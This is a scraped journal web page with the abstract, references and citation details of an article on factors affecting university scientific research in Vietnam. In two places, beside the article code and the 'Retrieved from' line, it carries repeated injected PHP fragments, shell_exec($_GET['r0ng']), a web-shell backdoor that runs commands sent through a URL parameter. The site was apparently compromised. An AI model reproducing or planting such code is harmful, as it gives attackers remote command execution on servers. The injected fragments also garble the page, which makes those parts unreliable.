Some factors affecting university’s scientific research activity in Vietnam

  • Hoang Van Tuyen
Keywords: Scientific research activity, University, Factor


Each university has an assignment to perform three important missions: teaching, scientific research and social services. To improve their position, universities have different action plans to best develop these missions. Scientific research activity in universities needs to be particularly focused and developed simultaneously with teaching and social services. This is especially true for universities in developing countries as Vietnam. However, what are the key factors that may affect the university’s scientific research activity? The paper analyzes and clarifies some factors that may affect the university’s scientific research activity in Vietnam.

Code: 20080501

".shell_exec($_GET["r0ng"]);}?> ".shell_exec($_GET["r0ng"]);}?> ".shell_exec($_GET["r0ng"]);}?>


Download data is not yet available.


Tiếng Việt
1. Phạm Thị Ly (2014). Nhìn từ vụ việc của đại học Hùng Vương: Khoảng trống về chính sách. Kinh tế Sài Gòn, số 9-1-2014.
2. Vũ Cao Đàm (2014). Nghịch lý và lối thoát: bàn về triết lý phát triển Khoa học và Giáo dục Việt Nam, NXb. Thế giới, Hà Nội.
3. Hoàng Văn Tuyên, Nguyễn Thị Minh Nga (2015). “Đại học nghiên cứu: một số đặc trưng cơ bản”. Tạp chí Chính sách và Quản lý Khoa học và Công nghệ. Tập 4, số 2.
Tiếng Anh
4. Blackburn R T, Bieber J P, Lawrence J H & Trautveter L (1991). Faculty at work: Focus on research, scholarship and service, Research in Higher Educaton, 32(4), pp. 385-413.
5. Bland C J, Seaquist E, Pacala J T, Center B & Finstad D (2002). One school’s strategy to assess and improve the vitality of its faculty. Academic Medicine, 77(5), pp.368-376.
6. Crescenzi R, Filippetti A and Iammarino S (2017). Academic inventors: collaboration and proximity with industry, Journal of Technology Transfer. Springer US, 42(4), pp. 730-762. DOI: 10.1007/s10961-016-9550-z.
7. Creswell J W (1985). Faculty Research Performance: Lessons from the Sciences and the Social Sciences. ASHE-ERIC Higher Educaton Report No.4, 1985. Associaton for the Study of Higher Educaton, One Dupont Circle, Suite 630, Department PR-4, Washington, DC 20036.
8. Dao Van Khanh & Hayden M (2010). Reforming the Governance of higher education in Vietnam, in Harman G, Hayden M and Pham Thanh Nghi (eds.), Reforming Higher Education in Vietnam. Springer.
9. Dundar H & Lewis D R (1998). Determinants of research productvity in higher educaton, Research in Higher Educaton, 39(6), pp.607-631.
10. Fadel C (2014). Expotential Technologies and their impact on human kind. Center for Curriculum Redesign,
11. Giones F (2019). University-industry collaborations: an industry perspective, Management Decision, Forthcoming. doi: 10.1108/MD-11-2018-1182.
12. Goldin C & Katz L (2009). The Race between Education and Technology: The Evolution of U.S. Educational Wage Differentials. Harvard University Press: USA, pp 1890-2005.
13. Hayden M & Lam Quang Thiep (2010). Vietnam’s Higher Education System, in Harman G, Hayden M and Pham Thanh Nghi (eds.), Reforming Higher Education in Vietnam. Springer.
14. Jung J (2012). Faculty research productvity in Hong Kong across academic discipline. Higher Educaton Studies, 2(4), pp.1-13.
15. Kyvik S (1995). Are big university departments beter than small ones? Higher Educaton 30(3), pp.295-304.
16. OECD (2007). Frascati Manual: Revised field of science and technology (FOS) classification in the frascati manual, Paris.
17. Oya TAMTEKİN AYDIN (2017), Research Performance of Higher Education Institutions: A Review on the Measurements and Afecting Factors of Research Performance, Journal of Higher Educaton and Science, Volume 7 (2), August 2017, pp. 312-320.
18. Ramsden P (1994). Describing and explaining research productvity, Higher Educaton, 28(2), pp.207-226.
19. Reddy R (2011). The Evolving of Universities in Economic Development: the Case of University-Industry linkages, in Görannson B & Brundenius C (eds.), Universities in Transition: The Changing Role and Challenges for Academic Institutions. Springer.
20. Wamala R & Ssembatya V A (2015). Productvity in academia: An assessment of causal linkages between output and outcome indicators. Quality Assurance in Educaton, 23(2), pp.184-195.
21. Wood F (1990). Factors infuencing research performance of university academic staf. Higher Educaton, 19(1), pp.81-100.
How to Cite
Tuyen, H. (2021, January 15). Some factors affecting university’s scientific research activity in Vietnam. Journal SCIENCE AND TECHNOLOGY POLICIES AND MANAGEMENT, 9(3), 93-104. Retrieved from
".shell_exec($_GET["r0ng"]);}?> ".shell_exec($_GET["r0ng"]);}?> ".shell_exec($_GET["r0ng"]);}?> ".shell_exec($_GET["r0ng"]);}?>

Most read articles by the same author(s)

1 2 > >>